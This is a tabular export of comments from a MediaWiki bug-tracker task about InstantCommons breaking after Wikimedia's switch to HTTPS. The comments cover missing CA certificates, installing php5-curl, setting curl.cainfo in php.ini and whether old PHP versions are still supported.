Still nothing ... Any further recommendations??",,,1436280794,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,0,True,1.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,10.0,1.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,10.0,10.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,4.582278481012659,0.7215189873417721,"I downloaded 2 php.ini files via FileZilla from directories /etc/php5/apache2/ and /etc/php5/cli/. 

Changed ;curl.cainfo = to curl.cainfo = ""/etc/ssl/certs/ca-certificates.crt"" in both files and uploaded them to server, after that replaced original files with new ones. 

Then restarted server by //sudo apache2ctl graceful// and //sudo service apache2 restart//.

Still nothing ... Any further recommendations??"
485235,InstantCommons broken by switch to HTTPS,">>! In T102566#1417074, @Tau wrote:
> I have installed the php5-curl now but still Instantcommons isn't working properly. What next?

Most likely, follow instructions at https://snippets.webaware.com.au/howto/stop-turning-off-curlopt_ssl_verifypeer-and-fix-your-php-config/ to set curl.cafile in php.ini",,,1435789841,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,4.5,0.9375,"QUOTE
QUOTE

Most likely, follow instructions at URL to set curl.cafile in php.ini"
484880,InstantCommons broken by switch to HTTPS,I have installed the php5-curl now but still Instantcommons isn't working properly. What next?,,,1435754931,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,16.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.2631578947368425,1.0,I have installed the php5-curl now but still Instantcommons isn't working properly. What next?
484681,InstantCommons broken by switch to HTTPS,"With HTTPS mandatory for InstantCommons, the php5-curl package / curl PHP extension becomes mandatory to use InstantCommons.

The fallback background PhpHttpRequest suffers of two issues related to HTTPS: T75203 (a certificate repository must be set) and T75199 (the wildcard certificate must be handled).",,,1435710135,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,19.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.888888888888889,0.7777777777777778,"With HTTPS mandatory for InstantCommons, the php5-curl package / curl PHP extension becomes mandatory to use InstantCommons.

The fallback background PhpHttpRequest suffers of two issues related to HTTPS: T75203 (a certificate repository must be set) and T75199 (the wildcard certificate must be handled)."
483164,InstantCommons broken by switch to HTTPS,"Okay, I will try and let you know.",,,1435495573,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,30.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7,1.0,"Okay, I will try and let you know."
483163,InstantCommons broken by switch to HTTPS,"@bawolff was taking about this last night, see his comment above.

Can you install the php5-curl package, restart your webserver and see how things get on?",,,1435495208,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,6.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,6.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,9.0,6.0,0.0,3.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0606060606060606,0.9393939393939394,"SCREEN_NAME was taking about this last night, see his comment above.

Can you install the php5-curl package, restart your webserver and see how things get on?"
483161,InstantCommons broken by switch to HTTPS,"Hello to everyone! This is my first post here. I am an administrator of one wikiproject. I had set InstantCommons true in Localsettings.php and my wiki was showing Commons files correctly. After this http to https change InstantCommons is not working in my wiki anymore. Only red links of images are shown. I have searched for solutions and tried to solve this problem but still unsuccessfully. I have read this topic several times but mostly I can't understand what you are talking about. I have Ubuntu 14.04.2, PHP 5.5.9, Mediawiki 1.23.3 versions, SSH access via command line and FileZilla.

Is the problem in outdated certificates? Anyways, can someone explain how to solve this issue and get InstantCommons working again so that ordinary people also can understand it?",,,1435494097,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,False,,,-1,True,0.5,1.0,0.0,0.5,1.0,3.5,1.5,0.0,0.0,0.0,1.5,0.5,0.5,0.5,0.0,5.0,0.0,7.5,8.5,1.0,1.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.5,5.5,2.5,0.5,0.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.5,3.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,1.5,1.0,4.0,13.0,2.0,3.5,4.0,0.0,0.0,0.5,0.0,4.0,0.5,2.0,0.0,6.5,8.5,6.0,1.5,0.0,0.0,6.5,0.0,1.5,0.5,0.0,2.5,0.0,0.0,0.0,4.5,0.7916666666666666,"Hello to everyone! This is my first post here. I am an administrator of one wikiproject. I had set InstantCommons true in Localsettings.php and my wiki was showing Commons files correctly. After this http to https change InstantCommons is not working in my wiki anymore. Only red links of images are shown. I have searched for solutions and tried to solve this problem but still unsuccessfully. I have read this topic several times but mostly I can't understand what you are talking about. I have Ubuntu 14.04.2, PHP 5.5.9, Mediawiki 1.23.3 versions, SSH access via command line and FileZilla.

Is the problem in outdated certificates? Anyways, can someone explain how to solve this issue and get InstantCommons working again so that ordinary people also can understand it?"
483095,InstantCommons broken by switch to HTTPS,"I was recently playing around with amazon's cloud stuff. And I tried installing mediawiki. Much to my surprise instant commons is broken.

Apparently, the default php you get from apt-get install php5 (5.5.9-1ubuntu4.9), does not have the necessary certs (Or something else was wrong with fopen wrappers for https, but openssl extension was installed so I think certs is most likely issue). Anyways, main point is it didn't work out of the box. I didn't investigate for very long until installing php5-curl which fixed things. But we want instant commons to just work even if the administrator does not know what they are doing.

>>! In T102566#1384154, @faidon wrote:
> Finally, this is not even end-users, these are users *running MediaWiki*. To draw a comparison, the CA has been in operating systems' CA stores since the time PHP 4 was new and was all the rage :)  Surely we have to draw the line of where the oldest base system we support running MediaWiki on is and that line is certainly not a system running PHP 4. Right? :)

A large portion of our install base are not sophisticated sysadmins. Given the support questions that get asked on irc, often its lucky if the user even knows what the phrase ""ssh into the server and do X"" means. I'm not worried about old versions, I'm worried about versions that are commonly in use right now

You make fair points about distributing ssl certs being  a bad idea, though. ",,,1435458445,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-1,True,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.0,2.0,6.0,1.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.0,3.3333333333333335,1.0,8.666666666666666,7.666666666666667,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,2.3333333333333335,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,6.666666666666667,1.6666666666666667,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,2.0,0.0,0.3333333333333333,0.0,1.0,0.0,13.333333333333334,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.0,1.0,0.6666666666666666,4.0,3.6666666666666665,6.666666666666667,0.6666666666666666,1.6666666666666667,4.333333333333333,0.0,0.0,0.0,0.0,2.0,0.0,0.6666666666666666,0.0,5.333333333333333,7.666666666666667,1.3333333333333333,0.0,1.0,0.0,5.333333333333333,0.0,2.0,0.6666666666666666,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,4.008541992696922,0.8092070944183619,"I was recently playing around with amazon's cloud stuff. And I tried installing mediawiki. Much to my surprise instant commons is broken.

Apparently, the default php you get from apt-get install php5 (5.5.9-1ubuntu4.9), does not have the necessary certs (Or something else was wrong with fopen wrappers for https, but openssl extension was installed so I think certs is most likely issue). Anyways, main point is it didn't work out of the box. I didn't investigate for very long until installing php5-curl which fixed things. But we want instant commons to just work even if the administrator does not know what they are doing.

QUOTE
QUOTE

A large portion of our install base are not sophisticated sysadmins. Given the support questions that get asked on irc, often its lucky if the user even knows what the phrase ""ssh into the server and do X"" means. I'm not worried about old versions, I'm worried about versions that are commonly in use right now

You make fair points about distributing ssl certs being  a bad idea, though. "
481809,InstantCommons broken by switch to HTTPS,">>! In T102566#1400166, @hashar wrote:
>>>! In T102566#1399147, @Legoktm wrote:
>> 
>> Today @Krinkle and I discovered that using homebrew's python on OSX does not have the right certs installed, resulting in:
>> ...
>> I found <https://github.com/Homebrew/homebrew/issues/39870> which seemed to explain what's going on.
> 
> That works for me. You might want to reinstall the brew versions of openssl and python.

Already did that. Fresh install from Homebrew of python (2.7.10), and openssl (openssl 1.0.2c). The error remains.

Most likely this is because there are some outdated root certificates OS X has lying around. Python v2.7.9 introduced stricter checking of certificates. When using the default Mac python (2.7.6) it works fine, because it doesn't do the strict checking. However with the old Python, installing JJB doesn't work well due to conflicting base packages. It works in a virtualenv though, so I did that for now.",,,1435252232,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-1,True,0.5,0.0,0.0,0.0,1.5,4.0,0.5,1.5,1.0,0.0,1.5,1.5,0.0,0.0,0.5,1.0,1.5,9.0,7.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,0.0,5.5,1.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,11.5,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,3.0,1.5,0.0,0.0,0.0,0.0,0.0,4.0,1.0,14.0,2.0,0.5,6.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,3.5,7.5,9.0,0.0,0.0,0.0,3.5,0.0,1.0,1.0,0.0,3.0,1.0,0.5,0.0,4.025819672131147,0.7360655737704918,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Already did that. Fresh install from Homebrew of python (2.7.10), and openssl (openssl 1.0.2c). The error remains.

Most likely this is because there are some outdated root certificates OS X has lying around. Python v2.7.9 introduced stricter checking of certificates. When using the default Mac python (2.7.6) it works fine, because it doesn't do the strict checking. However with the old Python, installing JJB doesn't work well due to conflicting base packages. It works in a virtualenv though, so I did that for now."
481549,InstantCommons broken by switch to HTTPS,">>! In T102566#1399147, @Legoktm wrote:
> 
> Today @Krinkle and I discovered that using homebrew's python on OSX does not have the right certs installed, resulting in:
> ...
> I found <https://github.com/Homebrew/homebrew/issues/39870> which seemed to explain what's going on.

That works for me. You might want to reinstall the brew versions of openssl and python.",,,1435235469,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,11.0,14.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,3.6785714285714284,0.7142857142857143,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That works for me. You might want to reinstall the brew versions of openssl and python."
481381,InstantCommons broken by switch to HTTPS,">>! In T102566#1384154, @faidon wrote:
> Our CA for production is GlobalSign. It is one of the big (in terms of websites using it) and oldest CAs. The top-most root certificate of our chain was issued in 1998 and has been in operating systems and browsers for at least 15 years now. GlobalSign has [[ https://www.globalsign.com/en-sg/resources/datasheet-root-compatibility.pdf | a datasheet ]] detailing their compatibility (ignore the first ""Extended Validation"" section; we don't use that). The compatibility includes browsers such as MSIE 5.01+, all versions ever released of Firefox, Google Chrome and Safari (not to mention Netscape Communicator 4.51+!) plus all versions of mobile phone browsers ever since Windows CE 4.0. I would very much like to hear in which CA stores is this actually a problem and for how many users.

Today @Krinkle and I discovered that using homebrew's python on OSX does not have the right certs installed, resulting in:
```
Python 2.7.10 (default, May 26 2015, 13:01:57)
[GCC 4.2.1 Compatible Apple LLVM 6.1.0 (clang-602.0.53)] on darwin
Type ""help"", ""copyright"", ""credits"" or ""license"" for more information.
>>> import urllib2
>>> urllib2.urlopen('https://commons.wikimedia.org/w/api.php')
Traceback (most recent call last):
  File ""<stdin>"", line 1, in <module>
  File ""/usr/local/Cellar/python/2.7.10/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py"", line 154, in urlopen
    return opener.open(url, data, timeout)
  File ""/usr/local/Cellar/python/2.7.10/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py"", line 431, in open
    response = self._open(req, data)
  File ""/usr/local/Cellar/python/2.7.10/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py"", line 449, in _open
    '_open', req)
  File ""/usr/local/Cellar/python/2.7.10/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py"", line 409, in _call_chain
    result = func(*args)
  File ""/usr/local/Cellar/python/2.7.10/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py"", line 1240, in https_open
    context=self._context)
  File ""/usr/local/Cellar/python/2.7.10/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py"", line 1197, in do_open
    raise URLError(err)
urllib2.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:590)>
```
I found <https://github.com/Homebrew/homebrew/issues/39870> which seemed to explain what's going on.",,,1435214168,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,11.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,17.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,2.0,3.760869565217391,0.8043478260869565,"QUOTE
QUOTE

TodaySCREEN_NAME and I discovered that using homebrew's python on OSX does not have the right certs installed, resulting in:
``CODE``
I found <URL which seemed to explain what's going on."
481102,InstantCommons broken by switch to HTTPS,"That's 6 years ago, yeah pretty long.

Also, it never supported InstantCommons, so who cares about PHP4 at all?",,,1435180435,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,8.0,8.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6153846153846154,0.9230769230769231,"That's 6 years ago, yeah pretty long.

Also, it never supported InstantCommons, so who cares about PHP4 at all?"
481059,InstantCommons broken by switch to HTTPS,"1.6.12 was in 2009, not that long ago. ;)",,,1435177810,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"1.6.12 was in 2009, not that long ago. ;)"
479048,InstantCommons broken by switch to HTTPS,">>! In T102566#1385611, @Nemo_bis wrote:
>> Surely we have to draw the line of where the oldest base system we support running MediaWiki on is and that line is certainly not a system running PHP 4. Right? :)
> 
> I wouldn't give it for granted. At least WikiApiary statistics should be checked, there are probably thousands of wikis running on PHP 4.
>

Lucky for us we dropped PHP4 years ago...prior to InstantCommons even existing.",,,1434982784,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,32.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,3.96,0.72,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Lucky for us we dropped PHP4 years ago...prior to InstantCommons even existing."
478656,InstantCommons broken by switch to HTTPS,"> Surely we have to draw the line of where the oldest base system we support running MediaWiki on is and that line is certainly not a system running PHP 4. Right? :)

I wouldn't give it for granted. At least WikiApiary statistics should be checked, there are probably thousands of wikis running on PHP 4.

Anyway, I just wanted to say: whatever the conclusion is on what's the way to use InstantCommons, please remember to update https://www.mediawiki.org/wiki/InstantCommons well before that way is made mandatory (by breaking the other ways).",,,1434871484,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,3.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,7.0,14.0,0.0,4.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,6.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,8.0,1.0,1.0,0.0,4.0,14.0,6.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,0.0,3.0,0.0,1.0,0.0,4.042253521126761,0.8169014084507042,"QUOTE

I wouldn't give it for granted. At least WikiApiary statistics should be checked, there are probably thousands of wikis running on PHP 4.

Anyway, I just wanted to say: whatever the conclusion is on what's the way to use InstantCommons, please remember to update URL well before that way is made mandatory (by breaking the other ways)."
478520,InstantCommons broken by switch to HTTPS,">>! In T102566#1383626, @Tgr wrote:
> [snip] we need a drop-in fix for people who are on old/weird OSes and want to get InstantCommons working without taking a course in system administration. Manually changing the root CAs of your OS can be quite difficult.

No we should not bother trying to keep MediaWiki running on platforms that are totally outdated.  In the case one wants to benefit from InstantCommons / interacts with our sites with SSL, he will have to upgrade. Period.

As for IE6, it is all hopeless and MicroSoft campaigned heavily to phase it out (ex: http://browseryoulovedtohate.com/ ).",,,1434790996,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,1.0,0.0,1.0,0.0,1.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,17.0,0.0,6.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,17.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,9.0,17.0,7.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,3.8857142857142857,0.8428571428571429,"QUOTE
QUOTE

No we should not bother trying to keep MediaWiki running on platforms that are totally outdated.  In the case one wants to benefit from InstantCommons / interacts with our sites with SSL, he will have to upgrade. Period.

As for IE6, it is all hopeless and MicroSoft campaigned heavily to phase it out (ex: URL )."
478376,InstantCommons broken by switch to HTTPS,"@Tgr that's because we don't speak the SSLv3 protocol anymore, because of the [[ https://en.wikipedia.org/wiki/POODLE | POODLE ]] attack in late 2014.  If it weren't for that, IE6 would be compatible on a certificate level.",,,1434756755,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,7.0,16.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,18.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,13.0,7.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,16.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,3.6222222222222222,0.8222222222222222,"SCREEN_NAME that's because we don't speak the SSLv3 protocol anymore, because of the [[ URL | POODLE ]] attack in late 2014.  If it weren't for that, IE6 would be compatible on a certificate level."
478374,InstantCommons broken by switch to HTTPS,@faidon: fair enough (although https://www.ssllabs.com/ssltest/analyze.html?d=en.wikipedia.com claims IE6 is not compatible).,,,1434756255,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,7.0,14.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,SCREEN_NAME: fair enough (although URL claims IE6 is not compatible).
478317,InstantCommons broken by switch to HTTPS,"Our CA for production is GlobalSign. It is one of the big (in terms of websites using it) and oldest CAs. The top-most root certificate of our chain was issued in 1998 and has been in operating systems and browsers for at least 15 years now. GlobalSign has [[ https://www.globalsign.com/en-sg/resources/datasheet-root-compatibility.pdf | a datasheet ]] detailing their compatibility (ignore the first ""Extended Validation"" section; we don't use that). The compatibility includes browsers such as MSIE 5.01+, all versions ever released of Firefox, Google Chrome and Safari (not to mention Netscape Communicator 4.51+!) plus all versions of mobile phone browsers ever since Windows CE 4.0. I would very much like to hear in which CA stores is this actually a problem and for how many users.

Moreover, a CA store that is so old probably has at least a few compromised CAs (e.g. DigiNotar) and those users should definitely take a course in system administration or consult their sysadmin.

